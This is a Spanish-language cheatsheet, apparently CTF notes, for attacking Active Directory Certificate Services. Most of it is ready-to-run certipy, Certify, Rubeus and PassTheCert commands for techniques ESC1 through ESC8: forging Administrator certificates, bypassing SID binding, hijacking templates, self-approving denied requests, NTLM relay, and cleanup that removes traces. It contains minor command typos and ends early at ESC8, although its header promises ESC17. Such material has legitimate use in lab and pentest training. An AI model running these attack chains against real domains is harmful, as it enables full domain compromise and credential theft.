// CTF Notes — Active Directory Certificate Services

ADCS Cheatsheet

Certipy · Certify · PassTheCert · bloodyAD · ESC1 → ESC17
Certipy PassTheCert Impacket bloodyAD PKINITtools Coercer pyWhisker Certify.exe RemoteKrbRelay.exe Rubeus.exe certutil.exe ESC1 ESC2 ESC3 ESC4 ESC5 ESC6 ESC7 ESC8 ESC9 ESC10 ESC11 ESC14 ESC16 ESC17
🔎Enumeración — Detección de Plantillas Vulnerables
ComandoDescripción
certipy-ad find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdoutEnumera plantillas vulnerables y las muestra en consola — la forma más rápida de identificar ESCs explotables. Reemplazar certipy-ad por certipy según versión
certipy-ad find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -stdoutEnumeración completa sin filtrar por vulnerabilidad — útil para ver todas las plantillas y sus configuraciones
certipy-ad find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -bloodhoundExporta datos de ADCS para BloodHound (fork de ly4k) — muestra rutas de ataque ESC en el grafo
certipy-ad find -u user@domain.htb -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdoutEnumeración con Pass-the-Hash cuando no se dispone de contraseña en claro
certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdoutEnumeración vía Kerberos (requiere KRB5CCNAME definido) — útil tras comprometer un ticket
Certify v1.0 Vs 2.0 (Windows) ↗ github.com/GhostPack/Certify
ComandoDescripción
Certify_v1.exe find /vulnerable
Certify_v2.exe enum-templates --filter-vulnerable --hide-admins
Enumera plantillas vulnerables desde Windows — detecta ESC1, ESC2, ESC3, ESC4. Menos preciso que certipy para grupos custom. Con --hide-admins ecluye permisos admin
Certify_v1.exe find /clientauth
Certify_v2.exe enum-templates --filter-client-auth
Filtra plantillas que permiten Client Authentication EKU — prerequisito necesario para todos los ESC
Certify_v1.exe cas
Certify_v2.exe enum-cas
Enumera las Certificate Authorities del dominio — muestra nombre, DNS, flags y configuración de cada CA
ESC1 SAN Arbitrario + Client Authentication EKU
La plantilla permite al solicitante definir el Subject Alternative Name (SAN) libremente (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT), tiene EKU Client Authentication (lo más común) y un usuario de bajos privilegios tiene derechos de enrollment. Permite solicitar un certificado como cualquier usuario del dominio, incluyendo el Administrador.
Campo abusado: msPKI-Certificate-Name-Flag + ENROLLEE_SUPPLIES_SUBJECT activado
RequisitosPermisos Enroll + Manager Approval: False + Authorized Signatures: 0 + ENROLLEE_SUPPLIES_SUBJECT = True + Algún EKU OIDs: Client Authentication / Smart Card Logon / PKINIT Authentication
Certipy — Explotación ↗ Certipy Wiki
ComandoDescripción
certipy-ad req -u user@domain.htb -p 'Pass' -ca <CA_NAME> -template <TMPL> -upn administrator@domain.htb -dc-ip 10.10.10.10Solicita certificado especificando UPN del Administrator como SAN. Genera administrator.pfx
certipy-ad req -u user@domain.htb -p 'Pass' -ca <CA_NAME> -template <TMPL> -upn administrator@domain.htb -sid 'S-1-5-21-...-500' -dc-ip 10.10.10.10Igual pero añade -sid para evitar error Object SID mismatch cuando StrongCertificateBindingEnforcement está activo
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d domain.htbAutentica con el PFX generado → devuelve el hash NTLM del Administrator + TGT (.ccache)
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shellSi PKINIT no está disponible (KDC_ERR_PADATA_TYPE_NOSUPP), en lugar de kerberos, autentica vía LDAP/SChannel con --ldap-shell
Certify / Certipy — Domain Computer (MAQ > 0) ↗ Certify
ComandoDescripción
Certify_v2.exe enum-templates --filter-supply-subject --filter-client-authEnumera templates específicamente para ESC1 — Client Auth + Supply Subject Enabled
Certify_v1.exe request /ca:<CA_NAME> /template:<TMPL> /altname:<email>Solicitud de certificado con SAN arbitrario
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrapAutenticación con el certificado .pfx o .pem mediante Rubeus.exe
powerview domain.htb/'user':'pass'@10.10.10.10 --dc-ip 10.10.10.10
PS > Add-ADComputer -ComputerName FAKE -ComputerPass Pass123
Si el enrollment solo está disponible para Domain Computers, crear primero un equipo de dominio (requiere MAQ > 0)
certipy-ad req -u 'FAKE$'@domain.htb -p 'Pass123' -ca <CA_NAME> -template <TMPL> -upn administrator@domain.htb -dc-ip 10.10.10.10Solicita el certificado autenticando como la máquina recién creada — habitual en ESC1 donde solo Domain Computers tienen enrollment
certipy-ad account create -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -user 'FAKE$' -pass 'Pass123'Alternativa: crear el Domain Computer directamente con certipy en lugar de powerview
certipy-ad auth -pfx administrator.pfx -username Administrator -domain domain.htbAutenticación con el PFX generado desde la cuenta de máquina

⚠ KDC_ERR_PADATA_TYPE_NOSUPP: El DC no soporta PKINIT. Usar certipy-ad auth -ldap-shell o PassTheCert para autenticar vía LDAP/SChannel en su lugar.

PassTheCert — fallback PKINIT ↗ AlmondOffSec/PassTheCert
ComandoDescripción
certipy-ad cert -pfx administrator.pfx -nokey -out admin.crtExtrae el certificado del PFX (sin la clave privada: .crt)
certipy-ad cert -pfx administrator.pfx -nocert -out admin.keyExtrae la clave privada del PFX (sin el certificado .key)
python3 passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain domain.htb -dc-ip 10.10.10.10Obtiene una shell LDAP interactiva autenticando vía SChannel — permite añadir usuarios a grupos, DCSync, modificar objetos, etc.
python3 passthecert.py -action write_rbcd -delegate-to 'DC$' -delegate-from 'FAKE$' -crt admin.crt -key admin.key -domain domain.htb -dc-ip 10.10.10.10Configura RBCD desde la LDAP shell — alternativa a la ldap-shell interactiva
gettgtpkinit.py (PKINITtools) ↗ PKINITtools
ComandoDescripción
openssl pkcs12 -export -out admin.pfx -inkey admin.key -in admin.pem -passout pass:Password123Convierte CER/PEM + KEY a PFX si Certify devolvió los archivos por separado (Windows)
gettgtpkinit.py -cert-pfx admin.pfx -pfx-pass Password123 -dc-ip 10.10.10.10 domain.htb/Administrator admin.ccacheAlternativa a certipy auth: obtiene el TGT (.ccache) + AES Key — útil cuando certipy-ad falla en la extracción del hash
getnthash.py -key <AES_KEY> <domain/target_username>Para obtener el NT hash utiliazndo el AES Key extraido anteriormente con gettgtpkinit.py
⚠ Parche CBA: Microsoft introdujo un parche de seguridad (conocido como Certificate-Based Authentication patch) que, cuando está en "Full Enforcement = StrongCertificateBindingEnforcement 2", añade una verificación de seguridad crítica.

1. ¿Qué hace? Inspecciona la extensión szOID_NTDS_CA_SECURITY_EXT dentro del certificado. Esta extensión contiene el SID (Security Identifier) de la cuenta que solicitó el certificado.

2. ¿Cómo bloquea? Cuando usas el certificado para pedir un TGT para "Administrator", el controlador de dominio compara el SID dentro del certificado (el del usuario que lo pidió) con el SID de la cuenta por la que pides el TGT ("Administrator").

Resultado: SID Atacante != SID Administrator. El DC dice "No coinciden" y rechaza la autenticación.

✓ Solución: A diferencia de ESC16 donde requiere StrongCertificateBindingEnforcement ≤ 1 (0 o 1), En ESC1 la CA confía en nosotros al tener ENROLLEE_SUPPLIES_SUBJECT.
Lo que nos permite engañar al validador inyectando el SID del usuario víctima en el PAC para que al pasar por comprobación del SID, tenga éxito aunque seamos un usuario normal.

ComandoDescripción
Certify_v1.exe request /ca:<CA_NAME> /template:<TMPL> /altname:administrator /sidextension:<SID-domain-500> /domain:<DOMAIN>Para saltar esta restricción, podemos utilizar el argumento /sidextension mientras que en certipy-ad también está disponible como --sid para inyectar el SID del usuario víctima
ESC2 Any Purpose EKU / Sin EKU
La plantilla tiene EKU Any Purpose (OID 2.5.29.37.0) o no tiene ningún EKU definido. Esto implícitamente concede la capacidad de Enrollment Agent (OID 1.3.6.1.4.1.311.20.2.1), permitiendo usar el certificado obtenido para solicitar certificados en nombre de otros usuarios (como en ESC3).
RequisitosPermisos Enroll + Any Purpose EKU o sin EKU + Manager Approval: False
Certipy — Ataque en 2 pasos
ComandoDescripción
certipy-ad req -u user@htb.local -p 'Pass' -ca <CA_NAME> -template <TMPL_ESC2> -upn user@domain.htb -dc-ip 10.10.10.10Paso 1: obtener un certificado con Any Purpose EKU — guardará user.pfx que actuará como Enrollment Agent
certipy-ad req -u user@htb.local -p 'Pass' -ca <CA_NAME> -template User -on-behalf-of 'htb.local\administrator' -pfx user.pfx -dc-ip 10.10.10.10Paso 2: usar el cert de agente para solicitar un certificado de autenticación en nombre del Administrator — genera administrator.pfx
certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d domain.htbAutenticación con el PFX del Administrator → hash NTLM + TGT
ESC3 Certificate Request Agent EKU — Enrollment en nombre de otro
Requiere dos plantillas: una con el EKU Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) y otra plantilla target que acepte enrollment via agente. El atacante obtiene primero un certificado de agente y luego lo usa para solicitar certificados en nombre del Administrator sin tener sus credenciales.
RequisitosTemplate 1: EKU Certificate Request Agent + Template 2: acepta enrollment via agente + Sin restricciones de Enrollment Agent en la CA
Certipy — Ataque en 2 fases
ComandoDescripción
certipy-ad req -u user@domain.htb -p 'pass' -ca <CA_NAME> -template <TMPL_AGENT> /altname:administrator@domain.htb -dc-ip 10.10.10.10Paso 1: solicitar el certificado de Enrollment Agent con el template que tenga el EKU de Request Agent
certipy-ad req -u user@domain.htb -p 'pass' -ca <CA_NAME> -template <TMPL_TARGET> -on-behalf-of 'domain\administrator' -pfx user.pfx -dc-ip 10.10.10.10Paso 2: usar el pfx del agente para solicitar un certificado de autenticación en nombre del Administrator
certipy-ad auth -pfx administrator.pfx -domain htbAutenticación con el certificado del Administrator obtenido
Certify (Windows)
ComandoDescripción
Certify_v1.exe request /ca:CA_NAME /template:TMPL_AGENT /domain:DOMAINPaso 1: solicitar el certificado de agente desde Windows
Certify_v1.exe request /ca:CA_NAME /template:TMPL_TARGET /onbehalfof:DOMAIN\administrator /enrollcert:agent.pfx /enrollcertpw:PASSWORD /domain:DOMAINPaso 2: solicitar en nombre del Administrator usando el cert de agente como prueba de autorización
ESC4 Permisos de Escritura sobre una Plantilla → ESC1
El atacante tiene permisos peligrosos sobre una plantilla (Owner, FullControl, WriteOwner, WriteDacl, WriteProperty). Esto permite modificar la plantilla para añadir ENROLLEE_SUPPLIES_SUBJECT, convirtiéndola en vulnerable a ESC1. Siempre usar -save-old para preservar la configuración original.

⚠ IMPORTANTE: La modificación ocurre en vivo en el dominio target. Guardar siempre el JSON original con -save-old.
RequisitosWriteProperty/FullControl/GenericWrite/WriteDACL/WriteOwner sobre la plantilla + msPKI-Certificate-Name-Flag editable
Certipy — Modificación de plantilla + ESC1
ComandoDescripción
certipy-ad template -u 'user@domain.htb' -p 'Pass' -template <TMPL> -save-old -dc-ip 10.10.10.10Modificar la plantilla aplicando configuración por defecto vulnerable a ESC1. Guarda la configuración original como <TMPL>.json
certipy-ad template -u 'user@domain.htb' -p 'Pass' -template <TMPL> -write-default-configuration -dc-ip 10.10.10.10 -target dc.domain.htbAlternativa explícita con -write-default-configuration sobreescribe la plantilla con una configuración vulnerable (sin -save-old — usar con cuidado)
certipy-ad find -u 'user@domain.htb' -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdoutVerificar que la plantilla modificada ahora aparece como ESC1 vulnerable antes de continuar
certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca <CA_NAME> -template <TMPL> -upn Administrator -dc-ip 10.10.10.10Solicitar certificado como Administrator usando la plantilla ahora vulnerable (flujo ESC1)
certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca <CA_NAME> -template <TMPL> -upn administrator@domain.htb -sid 'S-1-5-21-...-500' -dc-ip 10.10.10.10Con -sid para StrongCertificateBindingEnforcement activado
certipy-ad auth -pfx administrator.pfx -domain domain.htbAutenticar con el certificado generado → hash NTLM + TGT
certipy-ad template -u 'user@domain.htb' -p 'Pass' -template <TMPL> -configuration <TMPL>.json -dc-ip 10.10.10.10Restaurar la plantilla a su estado original — imprescindible tras la explotación
Certify + Rubeus (Windows) ↗ Rubeus
ComandoDescripción
.\Certify_v1.exe request /ca:CA_NAME /template:TMPL /altname:administrator /domain:DOMAIN /alter /sidextension:DOMAIN_SID-500Certify con el flag /alter modifica la plantilla en tiempo real y solicita el certificado en un solo paso
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:Password123 /pttObtener TGT desde Windows usando el PFX generado e inyectarlo en memoria
ESC5 Permisos Peligrosos sobre Objetos PKI (CA, ADCS Server)
El atacante tiene permisos de escritura/control sobre objetos PKI más allá de las plantillas: el propio objeto CA en AD, el servidor ADCS, o el contenedor NTAuthCertificates. Permite solicitar, aprobar y recuperar certificados de plantillas privilegiadas como SubCA, o registrar nuevas CA.

ESC5 aplica si tienes control sobre cualquiera de estos objetos PKI: Objeto CA en AD (CertificationAuthority / PKIEnrollmentService) o Contenedor NTAuthCertificates o Servidor ADCS (cuenta de equipo) o contenedor CDP (CRL Distribution Point) o AIA (Authority Information Access)
RequisitosAcceso sobre objetos PKI en AD + Permisos WriteOwner / WriteDacl / GenericAll sobre CA (CertificationAuthority / PKIEnrollmentService) o NTAuthCertificates = Flujo: req → issue → retrieve
Enumeración PowerShell — ADCS Server / NTAuthCertificates / PKIEnrollmentService / CertificationAuthority
ComandoDescripción
PS > $CAServer = Get-ADComputer "CA-SERVER-NAME" -Properties ntSecurityDescriptor
PS > $CAServer.ntSecurityDescriptor.Access | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType
Obtener permisos para el objeto de equipo del servidor de CA
PS > $NTAuth = Get-ADObject "CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" -Properties ntSecurityDescriptor
PS > $NTAuth.ntSecurityDescriptor.Access | Where-Object {$_.ActiveDirectoryRights -match "WriteDacl|WriteOwner|GenericAll|FullControl"}
Obtener el objeto NTAuthCertificates (ubicado en Configuration NC)
PS > $CAObject = Get-ADObject "CN=CA-NAME,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" -Properties ntSecurityDescriptor
PS > $CAObject.ntSecurityDescriptor.Access | Where-Object {$_.ActiveDirectoryRights -match "WriteDacl|WriteOwner|GenericAll|FullControl"}
Obtener el objeto PKIEnrollmentService
PS > $CARoot = Get-ADObject "CN=CA-NAME,CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" -Properties ntSecurityDescriptor
PS > $CARoot.ntSecurityDescriptor.Access | Where-Object {$_.ActiveDirectectionRights -match "WriteDacl|WriteOwner|GenericAll|FullControl"}
Obtener el objeto CertificationAuthority

Certipy
ComandoDescripción
certipy-ad req -u 'user@domain.htb' -p 'Pass' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <CA_NAME> -template <TMPL> -upn AdministratorPaso 1: solicitar certificado del Domain Admin. La solicitud puede quedar pendiente (denegada) — guardar el ID
certipy-ad ca -u 'user@domain.htb' -p 'Pass' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <CA_NAME> -issue-request <ID>Paso 2: emitir la solicitud pendiente usando permisos sobre la CA — convierte la solicitud fallida en certificado válido
certipy-ad req -u 'user@domain.htb' -p 'Pass' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <CA_NAME> -retrieve <ID>Paso 3: recuperar el certificado emitido por su ID → genera administrator.pfx
certipy-ad auth -pfx administrator.pfx -username administrator -domain domain.htb -dc-ip <ip> -ns <ip> -dns-tcpAutenticación final con el PFX del Administrator
Certify v1 & v2 + Rubeus
ComandoDescripción
Certify_v2.exe request --ca <CA_NAME> --template SubCA --upn Administrator
Certify_v1.exe /ca:<CA_NAME> /template:SubCA /altname:Administrator
Paso 1: Solicitar certificado como Administrator usando la plantilla SubCA. La solicitud será denegada automáticamente (pending/failed) — guardar el Request ID que aparece en la salida
Certify_v1.exe issue /ca:<CA_NAME> /id:<REQUEST_ID>Paso 2: Emitir/aprobar la solicitud pendiente (requiere privilegios Manage Certificates sobre la CA). Convierte la solicitud denegada en certificado válido
Certify_v1.exe download /ca:<CA_NAME> /id:<REQUEST_ID> /format:PFX /password:Pass123Paso 3: Descargar el certificado emitido usando su Request ID — genera approved.pfx (o el nombre especificado)
.\Rubeus.exe asktgt /user:administrator /domain:domain.htb /certificate:approved.pfx /password:Pass123 /ptt /getcredentialsPaso 4: Usar Rubeus para solicitar el TGT del Administrator con el PFX obtenido. El flag /getcredentials extrae además el hash NTLM
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:<LUID> /service:krbtgt
Alternativa post-autenticación: Si Rubeus asktgt falla, usar el TGT inyectado con triage + dump para extraer tickets
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 — SAN en cualquier plantilla
La CA tiene el flag EDITF_ATTRIBUTESUBJECTALTNAME2 activado, lo que permite especificar un SAN arbitrario en cualquier solicitud de certificado, independientemente de la configuración de la plantilla.
Fue parcheado (CVE Certifried), pero es explotable si no se ha aplicado el parche o si CT_FLAG_NO_SECURITY_EXTENSION está activo.
También es importante mirar permisos ManageCA ya que nos permiten editar la configuración de la CA e introducir EDITF_ATTRIBUTESUBJECTALTNAME2 habilitando ESC6
RequisitosFlag EDITF_ATTRIBUTESUBJECTALTNAME2 en la CA + Cualquier plantilla con Client Auth EKU + Alternativa: CA con CT_FLAG_NO_SECURITY_EXTENSION (no embebe el SID)
Certipy
ComandoDescripción
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"Verificar permisos para editar SAM en Windows con certutil. Si el comando devuelve EditFlags = EDITF_ATTRIBUTESUBJECTALTNAME2 (0x80000 = 524288) significa que ESC6 está activado
certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca <CA_NAME> -target <ip> -template <TMPL> -upn administrator@domain.htbSolicitar certificado con UPN del Administrator — funciona con cualquier plantilla enrollable
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d domain.htbAutenticar con el PFX generado
Certify + Rubeus
ComandoDescripción
Certify_v1.exe request /ca:'<CA_NAME>' /template:'<TMPL>' /altname:Administrator
Certify_v2.exe request --ca <CA_NAME> --template <TMPL> --upn 'Administrator@htb.local'
Solicitar certificado con SAM = administrator
Rubeus.exe asktgt /user:administrator /certificate:cert.pfxObtenemos TGT como Administrator
Certify_v2.exe manage-ca --ca LOQSEA-DC --esc6Habilitar ESC6 en caso de que tengamos permisos CA Managers (ManageCA) o en EditFlags para poder añadir EDITF_ATTRIBUTESUBJECTALTNAME2
ESC7 Manage CA / Manage Certificates — Aprobación de Solicitudes Fallidas
El usuario tiene el derecho Manage CA sobre la CA. Esto permite tres ataques distintos:

Ataque 1 — Flip EDITF (ESC6-like) · ManageCA + ManageCertificates: Con Manage CA se puede modificar el flag EDITF_ATTRIBUTESUBJECTALTNAME2 via PSPKI, convirtiendo la CA en vulnerable a ESC6 — cualquier plantilla enrollable permite SAN arbitrario. Con ManageCertificates se aprueban requests pendientes saltándose el Manager Approval. ⚠ Requiere reinicio de CertSvc para que el flag tenga efecto, y aunque ManageCA permite reiniciarlo, no puede hacerse remotamente.

Ataque 2 — SubCA + Officer · solo ManageCA: Con Manage CA se puede auto-promoverse a Officer (ganando Manage Certificates) y habilitar la plantilla SubCA. La plantilla SubCA es especial porque su EKU incluye All (OID 2.5.29.37.0) — un certificado emitido con ella sirve para cualquier propósito incluyendo autenticación de cliente. Los usuarios normales no pueden enrollarse en SubCA (solo Domain/Enterprise Admins), por lo que la solicitud será denegada automáticamente — pero la CA genera un Request ID y una clave privada. Como Officer, se aprueba esa solicitud fallida y se recupera el certificado. Alternativa preferida cuando el Ataque 1 no funciona por el parche de Mayo 2022 o por imposibilidad de reiniciar CertSvc.

Ataque 3 — SetExtension · solo ManageCertificates: Primitiva nueva de Certify 2.0. El método RPC ICertAdmin::SetExtension permite inyectar extensiones arbitrarias (OIDs de Issuance Policy, EKUs personalizados) en una request pendiente. Como la plantilla no define valor por defecto para esa extensión, la CA no sobreescribe el valor inyectado al emitir el cert. El certificado resultante puede encadenarse con otros ataques (ESC13, etc.). No requiere ManageCA — convierte ManageCertificates en vector de escalada completo por sí solo.

⚠ Importante: Añadirse como Officer no garantiza siempre poder aprobar requests — la CA puede tener CertificateManagerRestrictions que limiten qué plantillas o usuarios puede aprobar el Officer recién añadido, resultando en Access Denied al intentar -issue-request.
RequisitosManage CA o Manage Certificates + Plantilla SubCA habilitada = 3 pasos: req → approve → retrieve
Enumeración Windows — certsrv.msc / certutil.exe / PSPKI.ps1
ComandoDescripción
Certify_v2.exe enum-templates --filter-enabled --filter-supply-subject | findstr /i "SubCA"Alternativa 1: Verificar que la plantilla SubCA está habilitada y es utilizable con Certify.exe
PS > Get-CertificationAuthority -ComputerName dc.htb.local | Get-CertificationAuthorityAcl | select -expand AccessAlternativa 2 con certsrv.msc — Sobre el atributo ActiveDirectoryRights lo que buscamos son los valores ManageCertificates o Certificate Manager
PS > certutil.exe -config "LAB-DC.minions.com\CA-minions" -getreg "policy\EditFlags"Alternativa 3 con certutil.exe — Buscamos que EDITF_ATTRIBUTESUBJECTALTNAME2 tenga el valor 1376590
PS > Import-Module .\PSPKI.ps1
PS > Get-CertificationAuthority -ComputerName DC.htb.local | Get-CertificationAuthorityAcl | select -ExpandProperty access
Alternativa 4 mediante módulo PSPKI — Una vez importado PSPKI.ps1 utilizamos su modulo correspondiente Get-CertificationAuthority


📋 Ataque 1 — Flip EDITF (ESC6-like) · requiere ManageCA + ManageCertificates:

Con ManageCA se puede modificar remotamente el flag EDITF_ATTRIBUTESUBJECTALTNAME2 via PSPKI, permitiendo especificar un SAN arbitrario en cualquier plantilla. Con ManageCertificates se pueden aprobar requests pendientes, saltándose el requisito de aprobación del manager. La combinación de ambos permite solicitar, aprobar y descargar un certificado como Administrator.
⚠ Requiere reinicio de CertSvc para que el flag tenga efecto — y aunque ManageCA permite reiniciarlo, no puede hacerse remotamente. Además, ESC6 puede no funcionar en entornos con el parche de Mayo 2022 aplicado.
Certipy — Ataque 1: Flip EDITF (ESC6-like) — requiere ManageCA + ManageCertificates + EDITF_ATTRIBUTESUBJECTALTNAME2
ComandoDescripción
certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -template '<TMPL_APPROVAL>' -upn AdministratorPaso 1: Solicitar certificado de una plantilla con Manager Approval — la request queda en estado pending, guardar el ID
certipy-ad ca -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -issue-request <ID>Paso 2: Aprobar la solicitud pendiente con ManageCertificates
certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -retrieve <ID>Paso 3: Recuperar el certificado emitido → genera administrator.pfx
certipy-ad auth -pfx administrator.pfx -domain domain.htbAutenticar con el PFX del Administrator → hash NTLM + TGT
Certify — Ataque 1: Flip EDITF (ESC6-like)
ComandoDescripción
Certify_v1.exe request /ca:<CA_NAME> /template:ApprovalNeeded
Certify_v2.exe request --ca <CA_NAME> --template ApprovalNeeded
Paso 1: Solicitar certificado de plantilla con Manager Approval — la request queda pending, guardar el Request ID
PS > Import-Module PSPKI
PS > Get-CertificationAuthority -ComputerName dc.htb.local | Get-PendingRequest -RequestID <ID> | Approve-CertificateRequest
Paso 2: Aprobar la solicitud pendiente con módulo PSPKI
Certify_v1.exe download /ca:<CA_NAME> /id:<ID>
Certify_v2.exe request-download --ca <CA_NAME> --id <ID>
Paso 3: Descargar el certificado aprobado usando el Request ID
PS > $ConfigReader.SetConfigEntry(1114446,"EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
PS > $ConfigReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
Cleanup: Restaurar el flag EDITF_ATTRIBUTESUBJECTALTNAME2 a su valor original — eliminar rastros


📋 Ataque 2 — SubCA + Officer · requiere solo ManageCA:

La técnica se basa en que usuarios con ManageCA pueden auto-concederse ManageCertificates añadiéndose como Officer. La plantilla SubCA es vulnerable a ESC1 pero solo administradores pueden enrollarse — un usuario puede solicitar un cert SubCA (será denegado), pero al tener ManageCertificates puede aprobarlo él mismo y recuperarlo. No requiere reinicio de servicios. Alternativa preferida en entornos parcheados donde el Ataque 1 no funciona.
Certipy — Ataque 2: SubCA + Officer
ComandoDescripción
certipy-ad ca -ca '<CA_NAME>' -add-officer 'user' -u 'user@domain.htb' -p 'Pass'Pre-requisito: Permisos ManageCA para añadirse como Officer — gana Manage Certificates
certipy-ad ca -ca '<CA_NAME>' -enable-template SubCA -u 'user@domain.htb' -p 'Pass'Habilitar plantilla SubCA — por defecto suele estar habilitada, verificar antes
certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -target dc.domain.htb -template SubCA -upn administrator@domain.htbPaso 1: Solicitar cert como Admin con SubCA — será denegado pero se guarda la clave privada y el ID de solicitud
certipy-ad ca -ca '<CA_NAME>' -issue-request <ID> -u 'user@domain.htb' -p 'Pass'Paso 2: Aprobar la solicitud fallida como Officer
certipy-ad req -u 'user@domain.htb' -p 'Pass' -ca '<CA_NAME>' -target dc.domain.htb -retrieve <ID>Paso 3: Recuperar el certificado emitido → administrator.pfx
certipy-ad auth -pfx administrator.pfx -domain domain.htbAutenticar con el PFX del Administrator → hash NTLM + TGT
Certify — Ataque 2: SubCA + Officer
ComandoDescripción
Certify_v2.exe manage-ca --ca <CA_NAME> --officer 'user'Pre-requisito: Permisos ManageCA para añadirse como Officer — gana Manage Certificates
Certify_v2.exe manage-ca --ca <CA_NAME> --template SubCAHabilitar plantilla SubCA
Certify_v2.exe request --ca <CA_NAME> --template SubCA --upn administrator@domain.htbPaso 1: Solicitar cert con SubCA — será denegado, guardar el Request ID
Certify_v2.exe manage-ca --ca <CA_NAME> --issue-id <ID>Paso 2: Aprobar la solicitud pendiente como Officer
Certify_v2.exe request-download --ca <CA_NAME> --id <ID>Paso 3: Descargar el certificado emitido


📋 Ataque 3 — SetExtension · requiere solo ManageCertificates:

Primitiva nueva introducida en Certify 2.0. El método RPC ICertAdmin::SetExtension puede ser ejecutado por cualquier principal con ManageCertificates. Permite inyectar extensiones no definidas en la plantilla (p.ej. OIDs de Issuance Policy como 1.1.1.1) en una request pendiente — como la plantilla no define un valor por defecto para esa extensión, la CA no sobreescribe el valor inyectado al emitir el cert. El certificado resultante puede usarse para satisfacer requisitos de otras plantillas vulnerables (ESC13) o inyectar EKUs/policies que otorguen confianza inesperada. No requiere ManageCA — convierte ManageCertificates en un vector de escalada completo por sí solo.
Certify v2 — Ataque 3: SetExtension — requiere solo ManageCertificates ↗ Certify v2 Docs
ComandoDescripción
Certify_v2.exe request --ca <CA_NAME> --template SecureUser --subject "CN=User" --manager-approvalPaso 1: Solicitar cert de plantilla con Manager Approval — la request queda pending, guardar el Request ID
Certify_v2.exe manage-ca --ca <CA_NAME> --request-id <ID> --set-extension "1.1.1.1=DER,10,01 01 00 00"Paso 2: Inyectar OID arbitrario en la request pendiente — la CA no sobreescribe extensiones no definidas en la plantilla → el cert emitido lleva el OID malicioso
Certify_v2.exe request-download --ca <CA_NAME> --id <ID>Paso 3: Descargar el certificado emitido — ahora contiene el OID inyectado, usable para ESC13 u otros ataques encadenados
🛈 NOTA El mismo ataque se puede llevar a cabo con Certipy ≥ 4.7 mediante el comando ca y el parámetro -set-extension.
ESC8 NTLM Relay hacia ADCS Web Enrollment (HTTP)
La interfaz Web Enrollment de ADCS (http://CA/certsrv/certfnsh.asp) acepta autenticación NTLM y por defecto no tiene Extended Protection for Authentication (EPA) ni channel binding. Un atacante puede forzar la autenticación de un equipo privilegiado (DC, servidor) mediante técnicas de coerción (PetitPotam, PrinterBug, Coercer) y reenviar esas credenciales NTLM a la CA para obtener un certificado válido — sin necesidad de credenciales previas.

Condiciones necesarias: Web Enrollment HTTP habilitado + NTLM no bloqueado + sin EPA/channel binding + plantilla enrollable para la cuenta coercionada (Machine, DomainController, User).

Post-explotación: Con el PFX del DC → certipy auth → hash NTLM del DC → DCSync (si es DA) o Silver Ticket (con el hash de la cuenta de máquina).

Escenario especial — DNS Record + SPN Serializado: Cuando no es posible hacer coerción SMB directa (por signing, EPA, etc.), se puede registrar un registro DNS malicioso con un SPN serializado (CredMarshalTargetInfo) que fuerza al DC a generar un AP_REQ Kerberos para sí mismo pero enviarlo a la IP del atacante — combinado con certipy relay hacia HTTPS.
RequisitosWeb Enrollment HTTP habilitado + Sin EPA / Channel Binding + NTLM no bloqueado en la CA + Template DomainController / Machine disponible = Relay + Coercion simultáneos
Enumeración — Verificar ESC8
ComandoDescripción
certipy find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdoutDetectar ESC8 — buscar Web Enrollment: Enabled + Request Disposition: Issue sin EPA
Certify_v1.exe cas
Certify_v2.exe enum-cas
curl -I https://IP/certsrv
Enumerar endpoints HTTP de AD CS habilitados — muestra URLs de Web Enrollment, CES, CEP y NDES
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CAListar Certificate Enrollment Service (CES) endpoints via msPKI-Enrollment-Servers
nxc smb <DC_IP> -u user -p 'Pass' -k -M coerce_plusVerificar métodos de coerción disponibles en el DC — muestra qué protocolos son vulnerables (PetitPotam, PrinterBug, etc.)


Certipy relay + Coerción — Ataque clásico NTLM ↗ Coercer
ComandoDescripción
certipy relay -target http://<CA_IP>/certsrv/certfnsh.asp -template DomainControllerTerminal 1: iniciar el relay hacia la CA web — espera conexión NTLM entrante del DC. Usar -template Machine para equipos no-DC o -template User para usuarios
